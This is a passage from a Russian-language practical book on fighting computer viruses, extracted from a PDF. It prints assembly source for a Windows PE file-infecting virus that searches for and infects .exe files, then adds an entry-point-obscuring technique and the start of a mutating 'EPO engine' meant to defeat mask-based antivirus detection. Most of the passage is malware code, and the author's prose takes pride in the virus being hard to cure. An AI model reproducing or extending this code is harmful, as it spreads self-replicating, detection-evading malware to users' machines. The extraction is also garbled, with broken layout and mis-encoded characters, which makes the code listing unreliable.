Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
|
291 |
|
|
|
|
|
|
|
|
; потоковых данных |
lea |
esi,[ebp + start] |
; копируем вирус |
|
mov |
ecx,(finish-start)/4 + 4 |
|
|
cld |
|
|
|
rep |
movsd |
|
|
UpdatePEHeaderWithChanges: |
|
||
mov |
esi,dword ptr [ebp + offset mapaddress] |
||
mov |
word ptr [esi + 38h],’nf’ |
; Устанавливаем метку |
|
mov |
esi,dword ptr [ebp + offset PEheader] |
; инфицированности |
|
mov |
eax,[ebp + offset imagesize] |
; |
|
mov |
[esi + 50h],eax |
; Устанавливаем новый |
|
|
|
|
; виртуальный размер |
UnmapView: |
|
|
|
push |
dword ptr [ebp + offset mapaddress] |
; |
|
lea |
eax,[ebp + UnmapViewOfFile] |
; Заканчиваем изменение файла |
|
call |
GETAPI |
; в памяти и кладем его обратно |
|
CloseMap: |
|
|
|
push |
dword ptr [ebp + offset mHnd] |
; |
|
lea |
eax,[ebp + CloseHandle] |
; Закрываем хэндл |
|
call |
GETAPI |
; |
|
push |
0 |
|
|
push |
0 |
|
|
push |
dword ptr [ebp + offset filesize] |
; |
|
push |
dword ptr [ebp + offset fHnd] |
; Переходим в конец файла |
|
lea |
eax,[ebp + offset SetFilePointer] |
; |
|
call |
GETAPI |
|
|
push |
dword ptr [ebp + offset fHnd] |
; |
|
lea |
eax,[ebp + offset SetEndOfFile] |
; Устанавливаем символ конца |
|
call |
GETAPI |
; файла |
|
;---------------------------------------------- |
|
|
|
CloseFile: |
|
|
|
push |
dword ptr [ebp + offset fHnd] |
; |
|
lea |
eax,[ebp + offset CloseHandle] |
; Закрываем файл |
|
call |
GETAPI |
; |
|
InfectionError: |
|
|
|
ret |
|
|
; Выходим из процедуры |
;---------------------------------------------- |
|
|
|
Fnext: |
|
|
|
lea |
eax,[ebp+offset find_file] |
; |
|
|
push |
eax |
; |
push |
dword ptr[ebp+Fhandle] |
; Процедура поиска следующего |
|
lea |
eax,[ebp+offset+FindNextFileA] |
; файла |
|
call |
GETAPI |
; |
|
ret ;----------------------------------------------
292 |
|
Windows вирусы |
|
|
|
Getproc: |
|
|
next_block: |
|
|
cmp |
word ptr [ebx],’ZM’ |
; Начало? |
je |
found_MZ |
; ÄÀ! |
sub |
ebx,1000h |
; Ищем дальше |
jmp |
next_block |
|
found_MZ: |
|
|
mov |
edx,ebx |
; сохраним указатель |
mov |
edi,dword ptr [ebx+3Ch] |
; адрес PE заголовка |
add |
edi,edx |
; +адрес kernel’a |
cmp |
word ptr [edi],’EP’ |
; проверка на PE |
jne |
Exit |
; не равно - выходим |
mov |
4 ptr [ebp+KernelAddr],edx |
; сохраним базовый адрес |
|
|
; kernel’a |
add |
ebx,[edi+78h] |
; Получим адрес таблицы |
|
|
; экспортов |
mov |
ecx,[ebx+18h] |
; Количество указателей |
mov |
esi,[ebx+20h] |
; Указатель на таблицу |
|
|
; указателей имен |
mov |
edi,[ebx+24h] |
; Указатель на таблицу |
|
|
; ординалов |
add |
esi,edx |
; адр. таблицы имен в памяти |
add |
edi,edx |
; адр. таблицы ординалов |
|
|
; в памяти |
cld |
|
; поиск вперед |
Search: |
|
; Ищем функцию GetProcAddress |
lodsd |
|
; берем указатель из таблицы |
|
|
; указателей |
add |
eax,edx |
; получаем адрес памяти |
push |
ecx |
; сохраним кол-во указателей |
push |
edi |
; сохраним указатель на |
|
|
; ординалы |
xchg |
esi,eax |
; в esi указатель на имя |
|
|
; найденной ф-ции |
lea |
edi,[ebp+GetProcAddress] |
; Указываем на имя нужной |
|
|
; нам фунции |
mov |
ecx,GetProcSize |
; Размер строки |
repe |
cmpsb |
; сравниваем |
xchg |
esi,eax |
; восстановим значение esi |
pop |
edi |
; восстановим указатель |
|
|
; на ординалы |
pop |
ecx |
; восстановим кол-во |
|
|
; указателей |
je |
Found |
; нашли! |
inc |
edi |
; нет - пробуем следующую |
|
|
; ô-öèþ |
inc |
edi |
; указатель на следующий |
|
|
; ординал |
loop |
Search |
|
jmp |
Exit |
|
Windows вирусы |
|
293 |
|
|
|
|
|
Found: |
|
|
|
xor |
eax,eax |
|
|
mov |
ax,word ptr [edi] |
; возьмем ординал |
|
shl |
eax,2 |
; умножим на размер ординала |
|
mov |
esi,[ebx+1Ch] |
; указатель на таблицу адресов |
|
add |
esi,edx |
; получим адрес начала |
|
|
|
; таблицы адресов |
|
add |
esi,eax |
; и адрес нужной ф-ции |
|
lodsd |
|
; прочитаем |
|
add |
eax,edx |
; добавим адрес kernel’a |
|
mov |
4 ptr [ebp+GetProcAddr],eax |
; сохраним |
|
Exit: |
|
|
|
ret |
|
|
|
;---------------------------------------------- |
|
|
|
GETAPI: |
|
|
|
push |
eax |
; Помещаем в стэк имя функции |
|
push |
dword ptr [ebp+ offset KernelAddr] |
; Помещаем в стэк адрес kernel’a |
|
call |
[ebp + offset GetProcAddr] |
; Получаем адрес необходимой |
|
|
|
; нам Функции |
|
jmp |
eax |
; Вызываем функцию |
|
ret |
|
; Возврат из функции |
|
;---------------------------------------------- |
|
|
|
epo: |
|
|
|
pusha |
|
; Сохранение всех регистров |
|
mov |
esi,[ebp+mapaddress] |
; Кладем в esi адрес файла |
|
|
|
; в памяти |
|
call |
find_code |
; Ищем начало кода этом файле |
|
call |
lichina |
; Помещаем туда переход на |
|
|
|
; вирус |
|
popa |
|
; Восстанавливаем регистры |
|
ret |
|
; Выходим из подпрограммы |
|
;---------------------------------------------- |
|
|
|
find_code: |
|
|
|
add |
esi,dword ptr [esi+3ch] |
; Теперь esi указывает на PE |
|
mov |
edi,esi |
; |
|
mov |
ebx,[esi + 74h] |
; |
|
shl |
ebx,3 |
; Получаем |
|
xor |
eax,eax |
|
|
mov |
ax,word ptr [esi + 6h] |
; Количество объектов |
|
find2: |
|
|
|
mov |
esi,edi |
|
|
dec |
eax |
|
|
push |
eax |
|
|
mov |
ecx,28h |
; заголовок секции |
|
mul |
ecx |
; * размер заголовка |
|
add |
esi,78h |
; теперь esi указывает на |
|
add |
esi,ebx |
; начало последнего заголовка |
|
add |
esi,eax |
; секции |
|
294 |
|
Windows вирусы |
|
|
|
mov |
eax,[ebp+oldip] |
; В eax кладем точку входа |
mov |
edx,dword ptr[esi+0ch] |
; В edx адрес куда будет |
|
|
; мапиться |
|
|
; текущая секция |
cmp |
edx,eax |
; Проверяем |
pop |
eax |
; Извлекаем из стэка eax |
jg |
find2 |
; Если больше ищем дальше |
add |
edx,dword ptr[esi+08h] |
; Добавляем виртуальный размер |
|
|
; секции |
cmp |
edx,[ebp+oldip] |
; Проверяем |
jl |
find2 |
; Если меньше ищем дальше |
mov |
edx,dword ptr[esi+0ch] |
; Далее вычисляем физическое |
mov |
eax,[ebp+oldip] |
; смещение кода в файле |
sub |
eax,edx |
; |
add |
eax,dword ptr[esi+14h] |
; |
add |
eax,[ebp+mapaddress] |
; И потом добавляем базу |
|
|
; памяти |
mov |
[ebp+start_code],eax |
; Сохраняем начало кода |
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
|
|
|
; Меняем аттрибуты |
|
|
; кодовой секции |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
lichina: |
|
|
mov |
esi,dword ptr [ebp+start_code]; Сохраняем |
|
lea |
edi,[ebp+s_bytes] |
; оригинальные пять |
mov |
ecx,5 |
; байтов |
rep |
movsb |
; |
sub |
esi,5 |
; |
mov |
al,0e8h |
; |
xchg |
edi,esi |
; Записываем на их место |
stosb |
|
; свои пять байтов |
mov |
eax,[ebp+newip] |
; |
sub |
eax,[ebp+oldip] |
; |
sub |
eax,5 |
; |
stosd |
|
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
restore: |
|
|
sub |
eax,5 |
; Восстанавливаем |
mov |
edi,eax |
; оригинальные пять |
lea |
esi,[ebp+s_bytes] |
; байтов |
mov |
ecx,5 |
; |
rep |
movsb |
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
Windows вирусы |
|
|
295 |
|
|
|
|
mask1 |
db |
‘*.exe’,0 |
; Маска для поиска |
start_code |
dd |
0 |
|
s_bytes |
db |
5 dup(0) |
|
KernelAddr |
dd |
0 |
|
GetProcAddr |
dd |
0 |
|
GetProcAddress |
db |
‘GetProcAddress’,0 |
|
GetProcSize |
equ |
$-GetProcAddress |
|
FindFirstFileA |
db "FindFirstFileA",0 |
|
|
CreateFileA |
db "CreateFileA",0 |
|
|
CreateFileMappingA db |
"CreateFileMappingA",0 |
|
|
MapViewOfFile |
db |
"MapViewOfFile",0 |
|
UnmapViewOfFile |
db |
"UnmapViewOfFile",0 |
|
CloseHandle |
db |
"CloseHandle",0 |
|
SetFilePointer |
db |
"SetFilePointer",0 |
|
SetEndOfFile |
db |
"SetEndOfFile",0 |
|
FindNextFileA |
db |
"FindNextFileA",0 |
|
FindClose |
db |
"FindClose",0 |
|
oldip |
dd |
offset Exit1 |
|
|
|
|
; |
imagebase |
dd |
0h |
; |
finish: |
|
|
|
find_file |
db |
313 dup(?) |
; Тут идут данные, которые в |
size2read |
dd |
0h |
; тело вируса не входят |
fHnd |
dd |
0h |
; |
mHnd |
dd |
0h |
; |
memory |
dd |
0h |
; |
mapaddress |
dd |
0h |
; |
PEheader |
dd |
0h |
|
filesize |
dd |
0h |
|
imagesize |
dd |
0h |
|
newip |
dd |
0h |
|
Fhandle |
dd |
0h |
|
;———————————————————————————
.code
Exit1:
nop
;———————————————————————————-
end start
;———————————————————————————-
Как вы могли увидеть, мы лишь слегка модифицировали наш простой windows-паразит, теперь мы можем с гордостью заявить, что он использует примитивный вариант неизлечимости. А если быть более конкретным, то он использует EPO(Entry Point Obscuring) технику.
Для лечения данного вируса используется тот же алгоритм, что и при лече- нии *.com программ под ДОС.
296 |
Windows вирусы |
|
|
Теперь, когда мы разобрались с простым вариантом данной техники, мы готовы перейти к более сложному.
Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять.
Начнем пострение нашего мотора с того, что определимся с тем, чего нам необходимо достичь:
1)чтобы наши инструкции не обнаруживались по маске (мутация);
2)чтобы наши инструкции не сразу передавали управление вирусу или защите от взлома программы (маскировка);
3)чтобы управление в конце концов получил наш код.
Теперь попытаемся определиться, как наш мотор должен работать:
1)в начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счет разбавления одной значащей инструкции сложным разнообразным «мусором»;
2)первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.
Рассмотрим на примере устройство i-го пятна:
;----------------------------------------------
...................
mov |
eax,7385673 |
add |
ebx,9874 |
cmp |
ecx,edx |
mov |
edx,7234 |
je |
$+2 |
jmp |
to_i_plus1_spot |
add |
eax,456678 |
...................
;----------------------------------------------
Каждое из пятен сильно мутирующее, то есть по маске его детектировать невозможно. Количество пятен случайно и расстояние между пятнами тоже случайно.
Все байты, которые перетираются пятнами, сохраняются в теле вируса. Для работы мотора необходимы следующие модули:
1)генератор случайных чисел (r_gen32.asm);
2)генератор исполняемого «мусора» (t_gen32.asm).
Данные модули приводились в главе посвященной полиморфизму. Теперь мы готовы перейти к листингу нашего мотора:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; |
|
[SIMPLE EPO TECHNIQUE ENGINE |
V. 0.1] |
; |
|||
; |
|
|
|
|
|
|
; |
; |
########### |
########### |
############ |
############## |
; |
||
; |
############# |
############# |
############## |
############## |
; |
||
; |
## |
### |
## |
### |
### |
### |
; |
; |
############ |
############# |
### |
### |
### |
; |
|
; |
############ |
############ |
### |
### |
### |
; |
|
; |
### |
### |
|
### |
### |
### |
; |
; |
############# |
### |
|
############## |
### |
; |
|
; |
########### |
### |
|
############ |
### |
; |
|
Windows вирусы |
|
297 |
|
|
|
; |
|
; |
; |
FOR MS WINDOWS |
; |
; |
|
; |
; |
BY SL0N |
; |
;——————————————————————————————————————— ------------------------------------; |
||
; |
MANUAL: |
; |
; ADDRESS OF MAPPED FILE |
-> EDX |
; |
; |
|
; |
; CALL EPO |
|
; |
;——————————————————————————————————————— ------------------------------------; |
||
; |
MANUAL FOR RESTORE: |
; |
; CALL RESTORE |
|
; |
; |
|
; |
; ENTRY POINT |
-> EBX |
; |
;——————————————————————————————————————— ------------------------------------; |
||
; (+) DO NOT USE WIN API |
|
; |
; (+) EASY TO USE |
|
; |
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) |
; |
|
; (+) USE X87 INSTRUCTIONS |
|
; |
; (+) RANDOM NUMBER OF SPOTS |
; |
|
; (+) MUTABLE SPOTS |
|
; |
; (+) RANDOM LENGTH OF JUMP |
; |
|
;——————————————————————————————————————— ------------------------------------ |
; |
|
epo: |
|
|
|
push |
esi edi |
; Сохраняем в стэке esi |
|
|
|
; è edi |
|
mov |
[ebp+map_address],edx |
; Сохраняем адрес файла в |
|
|
|
; памяти |
|
call |
get_head |
; Получаем |
PE заголовок |
|
|
; |
|
call |
search_eip |
; Вычисляем новую точку |
|
|
|
; входа |
|
call |
find_code |
; Ищем начало кода в этом |
|
|
|
; файле |
|
call |
spots |
; Помещаем туда переход |
|
|
|
; на вирус |
|
pop |
edi esi |
; Восстанавливаем из стэка |
|
|
|
; edi è esi |
|
ret |
|
; Выходим из подпрограммы |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
PE HEADER SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
FILE IN MEMORY -> EDX |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
298 |
|
|
Windows вирусы |
|
|
|
|
get_head: |
|
|
|
|
|
; Подпрограмма получения |
|
|
|
; PE заголовка |
|
pusha |
|
; Сохраняем все в стэке |
|
mov |
ebx,[edx + 3ch] |
; |
|
add |
ebx,edx |
; |
|
|
|
; |
|
mov |
[ebp + PE_header],ebx |
; сохраняем PE заголовок |
|
mov |
esi,ebx |
; |
|
mov |
edi,esi |
; |
|
mov |
ebx,[esi + 28h] |
; |
|
mov |
[ebp + old_eip],ebx |
; Сохраняем старую точку |
|
|
|
; входа (eip) |
|
mov |
ebx,[esi + 34h] |
; |
|
mov |
[ebp + image_base],ebx |
; Сохраняем |
|
|
|
; виртуальный адрес |
|
|
|
; начала программы |
|
popa |
|
; Вынимаем все из стэка |
|
ret |
|
; Выходим из подпрограммы |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
NEW ENTRY POINT SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
search_eip: |
|
|
|
|
|
; Подпрограмма вычисления |
|
|
|
; новой точки входа |
|
pusha |
|
; Сохраняем все в стэке |
|
mov |
esi,[ebp+PE_header] |
; Кладем в esi указатель |
|
|
|
; На PE заголовок |
|
mov |
ebx,[esi + 74h] |
; |
|
shl |
ebx,3 |
; |
|
xor |
eax,eax |
; |
|
mov |
ax,word ptr [esi + 6h] |
; Количество объектов |
|
dec |
eax |
; (нам нужен последний-1 |
|
mov |
ecx,28h |
; заголовок секции) |
|
mul |
ecx |
; * размер заголовка |
|
add |
esi,78h |
; теперь esi указывает |
|
add |
esi,ebx |
; на начало последнего |
|
add |
esi,eax |
; заголовка секции |
|
mov |
eax,[esi+0ch] |
; |
|
add |
eax,[esi+10h] |
; Сохраняем новую точку |
|
mov |
[ebp+new_eip],eax |
; входа |
|
popa |
|
; Вынимаем все из стэка |
|
ret |
|
; Выходим из подпрограммы |
|
Windows вирусы |
|
299 |
|
||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
||
; |
FIND START OF CODE SUBROUTINE |
; |
;———————————————————————————————————————------------------------; |
||
; |
[ IN ] |
; |
; |
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
;———————————————————————————————————————------------------------; |
||
; |
[ OUT ] |
; |
; |
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code: |
|
|
|
|
; Подпрограмма поиска начала |
|
|
; êîäà |
mov |
esi,[ebp+PE_header] |
; Кладем в esi указатель |
|
|
; На PE заголовок |
mov |
ebx,[esi + 74h] |
; |
shl |
ebx,3 |
; Получаем |
xor |
eax,eax |
; |
mov |
ax,word ptr [esi + 6h] |
; Количество объектов |
find2: |
|
|
mov |
esi,edi |
; |
dec |
eax |
; |
push |
eax |
; (нам нужен последний-1 |
mov |
ecx,28h |
; заголовок секции) |
mul |
ecx |
; * размер заголовка |
add |
esi,78h |
; теперь esi указывает на |
add |
esi,ebx |
; начало последнего |
|
|
; заголовка |
add |
esi,eax |
; секции |
mov |
eax,[ebp+old_eip] |
; В eax помещаем точку входа |
mov |
edx,[esi+0ch] |
; В edx адрес куда будет |
|
|
; мапиться |
|
|
; текущая секция |
cmp |
edx,eax |
; Проверяем |
pop |
eax |
; Вынимаем из стэка eax |
jg |
find2 |
; Если больше ищем дальше |
add |
edx,[esi+08h] |
; Добавляем виртуальный |
|
|
; размер секци |
cmp |
edx,[ebp+old_eip] |
; Проверяем |
jl |
find2 |
; Если меньше ищем дальше |
mov |
edx,[esi+0ch] |
; Далее вычисляем |
|
|
; физическое |
mov |
eax,[ebp+old_eip] |
; смещение кода в файле |
sub |
eax,edx |
; |
add |
eax,[esi+14h] |
; |
add |
eax,[ebp+map_address] |
; И потом добавляем базу |
|
|
; памяти |
mov |
[ebp+start_code],eax |
; Сохраняем начало кода |
or |
[esi + 24h],00000020h or 20000000h or 80000000h |
|
|
|
; Меняем аттрибуты |
|
|
; кодовой секции |
300 |
|
Windows вирусы |
|
|
|
mov |
eax,[esi+08] |
; Вычисляем размер |
sub |
eax,[ebp+old_eip] |
; той части кодовой секции, |
mov |
edx,[esi+10h] |
; где можно размещать |
sub |
edx,eax |
; пятна |
mov [ebp+size_for_spot],edx |
; |
|
ret |
|
; Возврат из процедуры |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;———————————————————————————————————————------------------------;
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN |
SUBROUTINE |
; |
;———————————————————————————————————————------------------------;
; |
[ OUT |
] |
; |
; |
|
|
; |
; |
NO OUTPUT IN |
SUBROUTINE |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots: |
|
|
|
|
|
; Подпрограмма генерации |
|
|
|
; пятен |
|
mov |
ecx,1 |
; Кладем в ecx единицу |
|
|
|
; |
|
call |
reset |
; Подготавливаем данные |
|
call |
num_spots |
; Генерируем случайное число |
|
|
|
; это будет кол-во пятен |
|
tred: |
|
|
|
call |
save_bytes |
; Сохраняем затираемые байты |
|
call |
gen_spot |
; Генерируем пятно |
|
inc |
ecx |
; Увеличиваем ecx на единицу |
|
cmp |
ecx,[ebp+n_spots] |
; Все пятна сгенерированы |
|
jne |
tred |
; Если нет, то генерируем |
|
call |
save_bytes |
; Сохраняем последние байты |
|
call |
gen_final_spot |
; И генерируем последнее |
|
|
|
; пятно |
|
ret |
|
; Возврат из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
SPOT GENERATION SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
gen_spot: |
|
|
|
|
|
; Подпрограмма генерации |
|
|
|
; одного пятна |
|
push |
eax ecx |
; Сохраняем eax и ecx |
|
call |
len_sp_jmp |
; Получаем случайную длину |
|
xchg |
eax,ebx |
; прыжка пятна |
|
